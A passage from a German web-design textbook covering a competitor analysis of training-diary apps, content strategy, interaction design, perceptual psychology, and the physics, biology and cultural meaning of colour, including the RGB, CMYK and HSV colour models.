                    Der Markt für Trainingstagebücher im Webbereich ist gegeben. Wir könnten demnach tatsächlich von einem Blue Ocean Marketing (vgl. Abschnitt 2.1) mit allen Vor- und Nachteilen ausgehen.

                

                	
                    Um eine sinnvolle Konkurrenzanalyse durchzuführen, muss man den Blick erweitern und den Aspekt der App mit ins Spiel bringen.

                

            

            Ziehen wir also auch Apps in Betracht. Hier wird der Markt schon um einiges gedrängter, um nicht sogar zu sagen »sehr dicht gedrängt«: Wir finden zahllose kostenfreie wie auch kostenpflichtige Apps mit teils sehr unterschiedlichen Funktionalitäten. Was fast allen Apps aber gemeinsam ist, ist die Funktionalität des Tagebuch-Führens.

            
                	
                    Fitness Online (www.fitnessonline.app)

                

                	
                    Gainsfire (www.gainsfire.app)

                

                	
                    Alpha Progression (www.alphaprogression.com)

                

                	
                    Jefit (www.jefit.com)

                

            

            
                [image: Ein Vergleich von Trainingstagebuch-Apps samt deren Websites]

                Abbildung 2.11    
            Ein Vergleich von Trainingstagebuch-Apps samt deren Websites

            
            Ein Vergleich ergibt folgende Situation:
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            Tabelle 2.5    
            Eine Konkurrenzanalyse von Trainingsplan-Apps

            Die Tabelle mag interessant sein, aber viel interessanter ist die Grafik, auf die ich eigentlich hinaus will (siehe Abbildung 2.12). An ihr lassen sich die möglichen Chancen, aber auch die Risken gut erkennen: Im Bereich des Benchmarks »Einfachheit« ist noch Spielraum vorhanden, in der Preisgestaltung (für kostenpflichtige Apps) ebenso. Der Benchmark »Umfang« ist hingegen schon etwas härter umkämpft, bei »Design« scheiden sich ein wenig die Geister. Fakt ist: Unser zu entwickelndes System (und ich sage nun bewusst nicht »App«, da es völlig unerheblich ist, was wir entwickeln wollen) muss in allen Benchmarks besser sein als die Konkurrenz.

            
                [image: Die grafische Darstellung der Konkurrenzanalyse ist weit übersichtlicher.]

                Abbildung 2.12    
            Die grafische Darstellung der Konkurrenzanalyse ist weit übersichtlicher.

            
        
    


                    
                        
        2.6    Content is King – die Content Strategy

        Unter einer Content Strategy versteht man zunächst einmal einen Prozess der Planung, der Kreierens, des Auslieferns und des Wartens von Content passend zu den Zielen unseres Vorhabens. Um dies sinnvoll durchzuführen, bedarf es eines sehr umfassenden Wissens um unsere Zielgruppe (vgl. Abschnitt 2.4). Der darzustellende (auszuliefernde) Content muss also auf die Zielgruppe zugeschnitten sein. Diese Tatsache sollte uns nach all dem, was wir bisher erfahren haben, nicht neu sein. Wesentlich ist jedoch die Tatsache, dass es sich um einen Prozess und nicht um ein starres Konstrukt handelt: Content muss kreiert, aber auch gewartet und gegebenenfalls wieder entfernt werden.

        
            [image: Eine gute Content Strategy umfasst die Punkte der Planung, des Kreierens, des Publizierens und des Wartens. Dann und wann muss man sich von einem Content jedoch auch wieder verabschieden.]

            Abbildung 2.13    
            Eine gute Content Strategy umfasst die Punkte der Planung, des Kreierens, des Publizierens und des Wartens. Dann und wann muss man sich von einem Content jedoch auch wieder verabschieden.

        
        
            [Info]  Was versteckt sich alles hinter dem Begriff Content?

            Unter Content versteht man jeglichen Inhalt einer Webseite. Angefangen vom textuellen Inhalt über Bilder, Grafiken, Audio- und Videodateien bis hin zu animiertem Content.

        

        An diesem Punkt ist es sehr wichtig zu erkennen, dass das Erzeugen und Publizieren von Content kein einmaliges Ereignis ist, sondern vielmehr der Content regelmäßig überarbeitet werden muss. Insbesondere der letzte Punkt umfasst natürlich auch Überlegungen, ob der Content auch sein Ziel erreicht hat. Somit gilt auch hier: Setzen Sie sich Benchmarks, wie Sie beurteilen können, ob der Content tatsächlich effektiv war und die Anforderungen an ihn erfüllt hat.

    


                    
                        
        2.7    Zielorientiertes Interaktionsdesign

        Im Interaktionsdesign geht es um die Gestaltung einer (zeitlich begrenzten) Interaktion zwischen dem User auf der einen Seite und dem System (der »Maschine«) auf der anderen Seite. Der Begriff zielorientiertes Interaktionsdesign soll wiederum zum Ausdruck bringen, dass die Interaktion zwischen den beiden Protagonisten ein Ziel verfolgt und nicht ein »Geplapper« oder Ähnliches ist.

        Meist ist es so, dass der User eine Aufgabe erledigen muss (wie etwa eine Bestellung in einem Onlineshop tätigen). Das bedeutet aber auch, dass wir in unserem Tun den nächsten Schritt gehen müssen, in dem es nicht mehr ausreicht, »nur« die Zielgruppe zu kennen. An dieser Stelle ist es nun auch notwendig, die Eckpfeiler des zu erschaffenden Systems zu kennen: Möglichkeiten und Grenzen in der Entwicklung gleichermaßen wie die grafischen Limitationen.

        
            [»]  Der Begriff »Design«

            Sobald das Wort Design fällt, denkt der Großteil der Menschen an das grafische Design. Das kommt natürlich nicht von ungefähr, denn seit unserer Jugend wird das optische Erscheinungsbild mit Design gleichgesetzt. In unseren Breitengraden (der Informatik) ist dieser Begriff jedoch viel weiter gefasst: Unter »Design« verstehen wir das Entwerfen von grafischen Elementen gleichermaßen wie eine technische Entwicklung (Stichwort: Softwaredesign) oder eben der Entwurf einer Art »Kommunikationsmöglichkeit« zwischen einem User und einer Maschine (»Mensch-Maschine-Kommunikation«).

        

        Üblicherweise läuft ein Interaktionsdesign in sechs Schritten ab, die insbesondere im Falle größerer Projekte iterativ, also häppchenweise durchgeführt werden:

        
            	
                »Kenne Deine User«: Über eine Recherche wird zunächst versucht, so viel wie möglich über den User herauszufinden. Aus diesem Grund haben wir uns bereits sehr ausführlich mit dem User und seinen Bedürfnissen auseinandergesetzt.

            

            	
                Use Cases: Nachdem nun der User bekannt ist, wir für unsere Zielgruppe Personas entworfen haben und mittels Anforderungsanalyse auch herausgefunden haben, was er für die Bewältigung der gestellten Aufgaben benötigt, entwerfen wir für diese Personas Szenarien, die deren Bedürfnisse abdecken. Üblicherweise werden diese Abläufe in Form von Mock-Ups festgehalten. Eine solche Aufgabe wäre etwa der bereits angesprochene Kauf in einem Online-Shop: Wie werden die Produkte ausgewählt, wie läuft der Bestellprozess ab usw.? Unter einem Mock-Up verstehen wir einen sehr (sehr) einfachen Prototyp, wie etwa ein gescribbeltes Interface oder ein Ablaufdiagramm.

            

            	
                Erste Prototypen: Die im zweiten Schritt entworfenen Mock-Ups werden nun zu sehr einfachen Prototypen (»Scribbles«, Papierzeichnungen) verarbeitet, die alsdann im Team (Interface Designer, User, technische und grafische Umsetzer) diskutiert werden.

            

            	
                Funktionsfähige Prototypen und Usability-Inspektionen: Nun werden die einfachen Prototypen kontinuierlich zu testfähigen (horizontalen, vertikalen oder Szenario-)Prototypen erweitert. In diesem Umfeld kommen bereits auch häufig Usability-Inspektionen zum Einsatz.

            

            	
                Implementierung/Umsetzung: Ist ein Prototyp fertig entwickelt, sollte dies bereits die fertige Lösung zur gegebenen Aufgabenstellung darstellen. Wird eine Website beispielsweise modular entwickelt, so könnte aus dem Prototyp bereits ein Großteil des zuvor angesprochenen Online-Shops entstanden sein. Wesentlich ist, dass der Interaktionsdesigner im Realisierungsprozess mit von der Partie ist, um diesen Prozess zu »überwachen«.

            

            	
                Usability- und System-Tests: Nachdem nun alles implementiert wurde, folgen die Usability- und Systemtests. Zu diesem Zeitpunkt wird es zum ersten Mal möglich, das fertige System an realen Usern in realer Umgebung zu testen.

            

        

        
            [»]  Usability-Evaluierung

            Wie Ihnen vielleicht aufgefallen ist, unterscheiden wir zwischen Usability-Inspektions- und Usability-Testmethoden. Wir werden in Abschnitt 10.1.1 noch einmal etwas genauer auf diese feine Unterscheidung eingehen.

        

    


                    
                        
        2.8    Ein wenig Wahrnehmungspsychologie

        Von den vielen Wissenschaften, die uns helfen könnten, die großartigste Website für unsere User zu entwickeln, sei hier die Wahrnehmungspsychologie genannt. Sie hilft uns zu verstehen, wie Menschen optische Reize verarbeiten und interpretieren – auch wenn wir nicht in die Tiefe gehen werden. Dennoch wird sie uns helfen, ein grafisches Design als gut oder schlecht zu beurteilen.

        Ganz grundlegend können wir Folgendes über die Wahrnehmung aussagen:

        
            	
                Etwa 80 % der Wahrnehmung des Menschen erfolgt über die Augen.

            

            	
                Die wahrgenommenen Informationen werden über bekannte Strukturen dargestellt.

            

            	
                Herrscht ein Zuviel an Informationen, die auf den Betrachter einprasseln, so wird unser kognitives System (unser »Wahrnehmungssystem«) überlastet, weshalb unsere Wahrnehmung schrittweise erfolgt:

                
                    	
                        Abstraktion: Wir trennen einzelne wahrgenommene Muster voneinander.

                    

                    	
                        Filterung: Wir filtern diejenigen Muster heraus, die wir kennen.

                    

                    	
                        Erkennen: Wir erkennen auf Basis der Filterung.

                    

                

            

        

        Machen Sie sich bewusst, dass ein Wahrnehmen ohne ein Erkennen nicht möglich ist. Aus diesem Grund sollten wir in all unserem grafischen Tun auch immer zwei sehr grundlegende Regeln beherzigen:

        
            	
                Machen Sie es dem User einfach, zu erkennen: Befolgen Sie die Erkenntnisse der Farb- und Gestaltpsychologie, die in den nächsten Abschnitten erläutert werden.

            

            	
                Bauen Sie auf dem Erfahrungsschatz des Betrachters auf, indem Sie auf bekannte Strukturen und Metaphern zurückgreifen: Setzen Sie auf bewährte Style Guides und erfinden Sie das Rad nicht neu.

            

        

    


                    
                        
        2.9    Wie Farbe wirkt

        Egal, wo wir uns bewegen, sind wir von Farben umgeben. Insbesondere im Bereich des grafischen Designs sind Farben ein unverzichtbares Mittel, um mit den Emotionen des Users zu arbeiten. Dies gilt selbstverständlich auch für unseren Bereich des Webdesigns. Bevor wir uns mit dem Einsatz von Farben beschäftigen, möchte ich kurz auf die physikalischen Grundlagen eingehen und erklären, wie Farben entstehen. Und ich möchte Sie einladen, sich mit Licht und Wellenlängen auseinanderzusetzen.

        
            2.9.1    Licht und Physik – wie Licht entsteht und was wir darunter verstehen

            Licht, wie wir es kennen, beschreibt die Physik unter anderem als Welle, die wir (über Rezeptoren in den Augen) wahrnehmen können. Da Wellen in ihrer Länge gemessen werden können (»Wellenlänge«) und die Einheit für die Länge der Meter ist, werden auch Lichtwellen in (Bruchteilen von) Metern gemessen. Wellen, die wir sehen können, bezeichnet man in der Physik als das »sichtbare[ 1 ] Licht«. Dieser sichtbare Bereich erstreckt sich in einem messbaren Bereich von etwa 380 nm (380 Nanometer, also 380 Milliardstel eines Meters; oder auch 380·10-9 m) bis 780 nm. Die kleineren Werte bezeichnet man als »kurzwelliges Licht« (da die Welle eben kürzer ist), die größeren Werte als »langwelliges Licht«:

            
                
                    
                        	
                            ungefährer Farbton

                        
                        	
                            Wellenlänge [nm]

                        
                    

                
                
                    
                        	
                            Violett

                        
                        	
                            380–420

                        
                    

                    
                        	
                            Gelb

                        
                        	
                            575–585

                        
                    

                    
                        	
                            Blau

                        
                        	
                            420–490

                        
                    

                    
                        	
                            Orange

                        
                        	
                            585–650

                        
                    

                    
                        	
                            Grün

                        
                        	
                            490–575

                        
                        

                        
                        	
                            Rot

                        
                        	
                            650–750

                        
                    

                
            

            Tabelle 2.6    
            Wellenlängen unterschiedlicher Farbbereiche

            Neben diesen Wellen kennt die Physik – und kennen sehr wahrscheinlich auch Sie – viele weitere Spielarten von Wellen: Funkwellen, Mikrowellen usw. Abbildung 2.14 stellt eine Auswahl dar.

            
                [image: Das sichtbare Licht als Teil eines sehr breiten Spektrums an Wellen (Quelle: von Horst Frank / Phrood / Anony – Horst Frank, Jailbird and Phrood, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=3726606)]

                Abbildung 2.14    
            Das sichtbare Licht als Teil eines sehr breiten Spektrums an Wellen 
(Quelle: von Horst Frank / Phrood / Anony – Horst Frank, Jailbird and Phrood, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=3726606)

            
            Für unser weiteres Verständnis ist jedoch Folgendes entscheidend:

            
                	
                    Offensichtlich existiert eine unendliche Anzahl unterschiedlicher Wellenlängen zwischen den genannten 380 und 750 nm.

                

                	
                    Dementsprechend existieren unendlich viele Farben in der Natur.

                

            

            Die Problematik ergibt sich aus der »Unendlichkeit«: Wir sind klarerweise nicht in der Lage, unendlich vielen Farben unterschiedliche Farbnamen zu geben. Technisch gesehen, bedient man sich sogenannter »Farbmodelle«, hinter denen ein mathematisches Modell steckt, das – in der Regel – durch Mischen von wenigen sogenannten »Primärfarben« weitere Farben erzeugt (mehr dazu finden Sie in Abschnitt 2.9.4).

        
        
            2.9.2    Licht und Biologie – wie wir Licht wahrnehmen

            Nun gilt einmal die Frage zu klären, ob denn der Mensch überhaupt in der Lage ist, diese unendlich vielen Farben wahrzunehmen. Die Antwort lautet: Der Durchschnittsmensch kann etwa 2,3 Millionen unterschiedliche Farben erkennen (etwa 200 Farbtöne, die in Weißanteil und Helligkeit variiert werden). Somit ist es offensichtlich gar nicht notwendig, das gesamte Spektrum an Licht abzudecken, sondern nur so viele Farben, wie der Mensch auch tatsächlich wahrnehmen kann.

            Das menschliche Auge nimmt Licht- und somit Farbinformationen mithilfe zweier Rezeptoren wahr:

            
                	
                    Stäbchen: Diese Rezeptoren sind sehr empfindlich, jedoch besitzen wir davon nur eine Sorte, weshalb wir mit ihnen lediglich Helligkeitsunterschiede wahrnehmen können. Aus diesem Grund sprechen wir im Falle dieser Rezeptoren von denjenigen, die für das Sehen in der Nacht verantwortlich sind.

                

                	
                    Zäpfchen: Mithilfe dieser Rezeptoren wird Farbsehen möglich, da wir drei unterschiedliche Sorten von Zäpfchen mit jeweils unterschiedlicher spektraler Empfindlichkeit besitzen:

                    
                        	
                            L-Zäpfchen (500–700 nm): langwelliges Licht (L: Long wave), »Rot-Zäpfchen«

                        

                        	
                            M-Zäpfchen (450–630 nm): mittelwelliges Licht (M: medium wave), »Grün-Zäpfchen«

                        

                        	
                            S-Zäpfchen (400–500 nm): kurzwelliges Licht (S: short wave), »Blau-Zäpfchen«

                        

                    

                

            

            Von den Blau-Zäpfchen besitzt der Mensch die wenigsten (ca. 12 % aller Zäpfchen; relativ konstant gleich für alle Menschen). Für die Grün- und Rot-Zäpfchen lässt sich keine so gute Aussage treffen, da ihre Anzahl von Mensch zu Mensch stark variiert.

            Wie Sie in Abbildung 2.15 gut erkennen können, überschneiden sich einige Bereiche der drei Zäpfchentypen. Dies bedeutet, dass im Falle spezieller Farben ein, zwei oder alle Zapfentypen angesprochen werden: Beispielsweise werden im Bereich von ca. 400 nm bis 530 nm alle drei Zäpfchentypen aktiv, wohingegen unter 400 nm nur die kurzwelligen Zäpfchen und über 530 nm bis hin zu 650 nm die mittel- und langwelligen Zäpfchen und über 650 nm nur die langwelligen Zäpfchen aktiviert werden.

            Die obige Ausführung stellt auch die Begründung für die Bezeichnung »Tri-Stimulus« (Tristimulus) dar: Es existieren Bereiche, wo alle drei Zäpfchentypen stimuliert werden. Um dieser Überschneidung in Hinblick auf eine Normierung der Farbwahrnehmung Herr zu werden, »korrigiert« man diese Überschneidung mathematisch, was in Abbildung 2.16 verdeutlicht wird.

            
                [image: Empfindlichkeit der Zäpfchen und Stäbchen des menschlichen Auges. Die farbig dargestellten Kurven zeigen die Empfindlichkeit der Zäpfchen, die schwarz strichlierte Kurve zeigt die Empfindlichkeit der Stäbchen. (Quelle: Cone-response.svg: w:User:DrBob and w:User:Zeimusuderivative work: Sgbeer, CC BY-SA 3.0 http://creativecommons.org/licenses/by-sa/3.0/, via Wikimedia Commons)]

                Abbildung 2.15    
            Empfindlichkeit der Zäpfchen und Stäbchen des menschlichen Auges. Die farbig dargestellten Kurven zeigen die Empfindlichkeit der Zäpfchen, die schwarz strichlierte Kurve zeigt die Empfindlichkeit der Stäbchen. 
(Quelle: Cone-response.svg: w:User:DrBob and w:User:Zeimusuderivative work: Sgbeer, CC BY-SA 3.0 http://creativecommons.org/licenses/by-sa/3.0/, via Wikimedia Commons)

            
            
                [image: Korrektur der Empfindlichkeitskurven der drei Farbrezeptoren (Zäpfchen) (Quelle: Torge Anders, CC BY-SA 3.0 http://creativecommons.org/licenses/by-sa/3.0/, via Wikimedia Commons)]

                Abbildung 2.16    
            Korrektur der Empfindlichkeitskurven der drei Farbrezeptoren (Zäpfchen) 
(Quelle: Torge Anders, CC BY-SA 3.0 http://creativecommons.org/licenses/by-sa/3.0/, via Wikimedia Commons)

            
            Die große Kunst ist nun, einen Zusammenhang zwischen der Farbwahrnehmung des (Durchschnitts-)Menschen und der Physik der Lichterzeugung herzustellen. Dieser Aufgabe hat sich die CIE – Commission internationale de l’éclairage angenommen. Die CIE hat in einem sogeannten Farbraum sämtliche vom Menschen wahrnehmbaren Farben definiert und grafisch anschaulich dargestellt (siehe Abbildung 2.17).

            Das schwarz dargestellte Dreieck stellt nun den Farbbereich dar, den man mithilfe des Farbmodelles »Adobe RGB« realisieren kann – hierzu jedoch später mehr.

            
                [image: CIE-Farbtafel (Quelle: Von Torge Anders, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=14869199)]

                Abbildung 2.17    
            CIE-Farbtafel 
(Quelle: Von Torge Anders, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=14869199)

            
        
        
            2.9.3    Wie Menschen Farben empfinden

            Neben dem biologischen Aspekt basiert das menschliche Farbempfinden auf psychologischen wie kulturellen Aspekten. Speziell Zweiteres ist ein Bereich, den viele von uns bereits einmal – wenn auch nur am Rande – erfahren konnten bzw. durften. Farben/Farbbereichen werden ganz allgemein Eigenschaften zugeordnet, die letzten Endes zwar ihre Erklärung in der Biologie und bisweilen auch in der Kultur finden, jedoch in manchen Fällen nur durch eine kulturelle Prägung erklärbar sind.

            Denkt man in unseren Breitengraden etwa, dass die Farbe Weiß für »Reinheit«, »Klarheit«, »Authentizität« usw. steht, so sehen die Menschen im asiatischen Raum in der Farbe Weiß die »Trauer«. Diese ist wiederum in der westlichen Welt mit Schwarz belegt. Auf der anderen Seite steht Schwarz in Ägypten für die »Wiederauferstehung«. Wie man unschwer erkennen kann, ist der Eindruck, den eine Farbe bewirkt, auf kulturelle Begebenheiten rückführbar.

            Ein Hauptgrund für die kulturellen Unterschiede in der Bedeutung von Farben war die Verfügbarkeit von Farben: War ein Farbstoff reichlich vorhanden, so symbolisierte er das »Einfache«; war er hingegen rar, so stand dieser für das »Exklusive«. Beispielsweise durfte im früheren Frankreich niemand außer den Königen blaue Kleidung tragen, da Blau (oder das für die Farbherstellung verwendete Indigo) selten war. Selbiges gilt etwa für ein Grün, das in europäischen Gefilden zuhauf vorkommt, im Arabischen jedoch besonders ist. Hier rührt auch der Ausspruch des islamischen Propheten Mohammed her: »Das Anschauen des Grünen ist Gottesdienst.«

            Weniger häufig tritt die psychologische Komponente zutage. Sie beschreibt im Wesentlichen, wie Personen Farben wahrnehmen, mit denen sie spezielle Eindrücke und Wahrnehmungen verbinden. Hierunter fallen etwa auch Grenzerfahrungen, wie beispielsweise das Beinahe-Ersticken in einem Heuhaufen und somit der negative Bezug zu Naturtönen.

            Insgesamt lässt sich also festhalten, dass das menschliche Farbempfinden auf drei Komponenten beruht:

            
                	
                    auf der biologischen Komponente, die erklärt, wie das menschliche Auge aufgebaut ist und wie die periphere Information (also die Wahrnehmung von Licht durch das Auge) ins Gehirn weitergeleitet und dort verarbeitet wird

                

                	
                    auf der kulturellen Komponente, die den Farben je nach Kultur(-bereich) unterschiedliche Eigenschaften zuweist

                

                	
                    auf der psychologischen Komponente, die – subjektiv für einen jeden Menschen – gewissen Farben ganz spezielle Eigenschaften verleiht

                

            

            Dass Farben für den Menschen mit Eigenschaften behaftet sind, ist die eine Sache; dass diese Farbeigenschaften je nach kultureller wie auch psychologischer Gegebenheit unterschiedlich sind, jedoch eine ganz andere. Das Resultat ist sehr ernüchternd, jedoch in der Werbebranche bekannt: Eine Farbzusammenstellung, die in der westlichen Welt perfekt funktioniert, wird in anderen Teilen der Welt scheitern.

            Beispielsweise bevorzugt die westliche Welt eher reduzierte Farben, die östliche Welt eher voll gesättigte Farben. Wo bei uns ganz allgemein der Slogan »farbig gerne, aber bitte nicht bunt« gilt, ist es im asiatischen Bereich mit »je greller, desto besser« wiederum ganz anders.

            Diese Problematik gilt im Marketing, sie gilt jedoch im Webdesign nicht weniger. Um es genau zu nehmen, müsste man die Farbzusammenstellung für Websites je nach Kulturbereich anpassen. Wenn ich im Rahmen dieses Textes von einer Farbzusammenstellung spreche, so meine ich ab sofort das Farbverständnis unserer Breitengrade – eine Pauschalaussage zur Farbwirkung für die gesamte Weltbevölkerung ist nicht möglich.

            Stellt man also einen Versuch an, die Wirkung von Farben zusammenzufassen, so könnte dies in etwa wie folgt aussehen (vgl. https://www.webdesign-journal.de/farbwirkung/, abgerufen am 25.10.2022):
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                [image: Farben und was man (in der westlichen Welt) mit ihnen verbindet]

                Abbildung 2.18    
            Farben und was man (in der westlichen Welt) mit ihnen verbindet

            
        
        
            2.9.4    Licht und Mathematik – die Farbmodelle als Ergebnis

            Ein Farbmodell ist der Versuch, die für den Menschen sichtbaren Farben in ein mathematisches Modell zu pressen. In der Regel geschieht das dadurch, dass man ein paar wenige Farben als Basis verwendet, die sogenannten Primär- oder Grundfarben, und diese durch Mischen in neue Farben überführt.

            Da Farbmodelle nichts anderes als mathematische Konstrukte sind, kann es theoretisch beliebig viele solcher Modelle geben. Dennoch haben sich einige als sehr nützlich erwiesen.

            
                RGB für den Monitor

                Das RGB-Modell verwendet die Primärfarben Rot, Grün und Blau und ist an die Funktionsweise des menschlichen Auges angelehnt, das Zäpfchen für den roten, grünen und blauen Lichtanteil besitzt. Man spricht auch vom sogenannten Lichtfarbmodell, da es mithilfe des RGB-Modells möglich wird, das von einer Lichtquelle (Monitor, Bildschirm etc.) erzeugte (ausgesandte) Licht zu beschreiben. Durch Mischen der Primärfarben in unterschiedlicher Menge erzeugt man weitere Farben. Mischt man alle drei Primärfarben in maximaler Intensität zusammen, so erhält man die Farbe Weiß; verwendet man hingegen keine der Farben, so erhält man die Farbe Schwarz.

                Wie viele Abstufungen pro Farbe verwendet werden können, wird in weiterer Folge von der Farbtiefe definiert, die an sich beliebig sein kann. An dieser Stelle sollten Sie sich dennoch fragen, ob das darzustellende Medium (Grafikkarte, Bildschirm) auch in der Lage ist, die vorhandene Farbtiefe zu verarbeiten. Gängige Monitore sind in der Lage, mindestens 8 Bit pro Farbkanal darzustellen, wodurch sich eine Farbtiefe von 24 Bit (224 = 16,8 Millionen Farben) ergibt. Bessere Monitore arbeiten bereits mit einer Farbtiefe von 10 Bit je Kanal, wodurch sich theoretisch 230 = 1.074 Millarden Farben abbilden lassen.

                Welche Farben tatsächlich durch das RGB-Modell realisiert werden können, beantworten die unterschiedlichen Ausprägungen des jeweiligen Modells. Fakt ist, dass RGB in der Standardform nur einen Bruchteil derjenigen Farben darstellen kann, die der Mensch in der Lage ist wahrzunehmen (siehe Abbildung 2.19).

                
                    [image: Abdeckung der wahrnehmbaren Farben (CIE-Farbraum) durch unterschiedliche Farbmodelle.(Quelle: Von de:Benutzer:DiplomBastler - selbst vektorisiert, Vorlage: Bitmap von de:Benutzer:DiplomBastler, gemeinfrei, https://commons.wikimedia.org/w/index.php?curid=40319656)]

                    Abbildung 2.19    
            Abdeckung der wahrnehmbaren Farben (CIE-Farbraum) durch unterschiedliche Farbmodelle.
(Quelle: Von de:Benutzer:DiplomBastler - selbst vektorisiert, Vorlage: Bitmap von de:Benutzer:DiplomBastler, gemeinfrei, https://commons.wikimedia.org/w/index.php?curid=40319656)

                
                Es sei an dieser Stelle auch folgende, nicht unwesentliche Überlegung erlaubt: Sehr oft wird davon ausgegangen, dass durch die Erhöhung der Farbtiefe pro Farbe mehr Farben definiert werden können. Hierzu folgendes Beispiel:

                
                    	
                        RGB mit 8 Bit je Farbkanal: Insgesamt ergibt dies 24 Bit an Farbtiefe und demnach 224 = 16,8 Millionen Farben.

                    

                    	
                        RGB mit 10 Bit je Farbkanal: 230 = 1.074 Milliarden Farben

                    

                

                In beiden Fällen bezieht sich die Unterteilung in die genannte Anzahl an Farben jedoch auf ein und dasselbe Dreieck in Abbildung 2.19, das die darstellbaren Farben begrenzt. Dies bedeutet, dass die Farben innerhalb des Dreiecks nun zwar feiner aufgegliedert sind, aber dennoch keine größere Farbabdeckung im Sinne der durch den Menschen wahrnehmbaren Farben erreicht wird, da das Dreieck in der genannten Abbildung nicht größer geworden ist.

                Eine Erhöhung der Farbtiefe im selben Farbmodell erhöht lediglich die Möglichkeiten, Farbbereiche innerhalb des Modells besser anpassen bzw. korrigieren zu können, wie es etwa in der Bild(nach)bearbeitung oftmals notwendig ist. Der einzig gangbare Weg, eine höhere Abdeckung der wahrnehmbaren Farben zu erreichen, besteht darin, sich mehr und mehr an das in Abbildung 2.19 dargestellte Wide Gamut RGB anzunähern. Dieser ISO-Standard wurde vom Unternehmen Adobe entwickelt und arbeitet mit den Primärfarben 700 nm, 525 nm und 450 nm sowie höheren Farbsättigungen an der technischen Machbarkeitsgrenze. Erreicht wird eine perfekte Abdeckung von Rot, eine fast perfekte Abdeckung von Violett und Blau und eine sehr gute Abdeckung von Grün-Tönen. Leichte Fehler im Bereich der extrem gesättigten Farben Türkis und Grün zwischen 470 nm und 520 nm werden zugunsten eines praktischen Farbmanagements in Kauf genommen.

                Zum Vergleich:

                
                    	
                        sRGB (Standard RGB) deckt ca. 36 % des sichtbaren Lichtspektrums ab.

                    

                    	
                        RGB (oder auch Adobe RGB) deckt ca.52 % ab.

                    

                    	
                        Wide Gamut (oder auch Adobe Wide Gamut) deckt ca. 78 % ab.

                    

                

                
                    [»]  Adobe RGB vs. Adobe Wide Gamut RGB

                    Bitte beachten Sie den Unterschied zwischen Adobe RGB und Adobe Wide Gamut RGB. Beachten Sie auch, dass (Adobe) Wide Gamut RGB nicht dasselbe ist wie HDR.

                

                In den Darstellungen zur Wirkung von Farben etwas weiter oben ist Ihnen vielleicht sogar schon die eine oder andere Farbdefinition in RGB aufgefallen. Beispielsweise definiert der Farbwert rgb(255,255,0) in CSS die Farbe Gelb. Mehr dazu folgt in Abschnitt 2.9.5, »Farbmodell versus menschliches Auge – das L*a*b-Modell«, in dem wir uns ganz den Farben widmen.

            
            
                CMYK für den Druckbereich

                Eines der bekanntesten Farbmodelle neben RGB ist CMYK, das gern für die Beschreibung von Farben herangezogen wird, die von einem Körper reflektiert werden. Aus diesem Grund wird das Modell auch Körperfarbmodell genannt. Es definiert die Primärfarben Cyan, Magenta und Gelb und bildet die Basis für den Farbdruck. Außerdem wird eine vierte, als »Key« bezeichnete Farbe hinzugefügt, um praktisch vorkommende »Mängel« zu beseitigen: Schwarz.

                Der Grund für diese Ergänzung durch Schwarz ist, dass CMYK ein sogenanntes Trägermedium benötigt, auf dessen Grundlage es arbeitet. Dieses Trägermedium muss weiß sein, da dies die Farbe ist, die in CMYK nicht durch Mischen erzeugt wird. Da in der Realität jedoch selten ein völlig weißer Träger (oder mit anderen Worten: ein vollständig weißes Papier) existiert, kann auch das theoretische Ergebnis »Schwarz« nach dem Mischen aller drei Primärfarben nicht erreicht werden. Dieser Tatsache musste man bei der Herstellung der ersten Tintenstrahl-Farbdrucker auch Rechnung tragen, wo zwei Situationen auftraten:

                
                    	
                        Ein gewünschtes Schwarz war eher grau als schwarz → Grund: kein ideales Trägermedium (schlechtes/billiges Papier)

                    

                    	
                        Die Farbpatronen waren sehr schnell leer → Grund: Schwarz wurde durch Mischen aller dreier Farben erzeugt. Nachdem sehr oft Text gedruckt wurde, der in aller Regel schwarz ist, waren die Patronen rasch leer.

                    

                

                
                    [»]  CMYK und das Web

                    CMYK als Farbmodell kommt im Webbereich nicht zum Einsatz, da hier der Fokus auf der Lichterzeugung (Monitore) liegt.

                

            
            
                HSV/HSB/HSL/HSI für den Menschen

                Hinter den Abkürzungen HSB, HSL und HSI verbergen sich drei sehr ähnliche Farbmodelle, die allesamt dieselbe Herangehensweise zeigen: Neben einer Angabe eines Farbtones (H: Hue) und einer Sättigung (S: Saturation) wird als dritte Komponente eine Helligkeitsinformation (B: Brightness, L: Lightness, I: Intensity) angegeben. Der allgemeine Überbegriff für die drei Farbmodelle nennt sich HSV (V: Value).

                Das HSV-Modell ist entsprechend dem menschlichen Farbempfinden entwickelt worden, wobei hier wie folgt vorgegangen wird:

                
                    	
                        Zunächst werden in einem Kreis, beginnend mit dem Farbton Rot (0°) insgesamt 360 Farbtöne aneinandergereiht, die der Mensch entsprechend seinem Farbverständnis so anordnen würde: Rot, Orange, Gelb, Gelbgrün, Grün, Cyan (Türkis), Blau, Blauviolett, Magenta und wieder zurück zu Rot

                    

                    	
                        Danach definiert man, dass in der Mitte des Kreises (der nun als Scheibe angesehen wird: siehe die Deckfläche des Kegels in Abbildung 2.20) sämtliche Sättigung einer Farbe entfernt wird und dadurch eine »unbunte Farbe« (hier: Weiß) entsteht.

                    

                    	
                        Folgt man dem Kegel zu seiner Spitze, so verringert man die Helligkeit der Farbe bis hin zu Schwarz.

                    

                

                Der Vorteil eines solchen Farbmodells liegt darin, dass ein Grafiker/Anwender sehr einfach damit umgehen kann, da das Farbmodell eben dem Farbverständnis des Menschen nachempfunden ist.

                
                    [image: Der HSV-Farbraum in Form eines auf der Spitze stehenden Kegels(Quelle: Von (3ucky(3all - Uploaded to en:File:HSV cone.png first (see associated log) by (3ucky(3all; then transfered to Commons by Moongateclimber, CC BY-SA 3.0,  https://commons.wikimedia.org/w/index.php?curid=943857)]

                    Abbildung 2.20    
            Der HSV-Farbraum in Form eines auf der Spitze stehenden Kegels
(Quelle: Von (3ucky(3all - Uploaded to en:File:HSV cone.png first (see associated log) by (3ucky(3all; then transfered to Commons by Moongateclimber, CC BY-SA 3.0,  https://commons.wikimedia.org/w/index.php?curid=943857)

                
                Die einzelnen Abwandlungen des HSV-Modells (HSB, HSL, HSI) sind lediglich unterschiedliche Herangehensweisen an die die dritte Komponente (Helligkeit):

                
                    	
                        HSB: Der Helligkeitswert (Brightness) wird absolut angegeben.

                    

                    	
                        HSL: Der Helligkeitswert (Lightness) wird relativ angegeben.

                    

                    	
                        HSI: Der Helligkeitswert (Intensity) wird als Lichtintensität angegeben.

                    

                

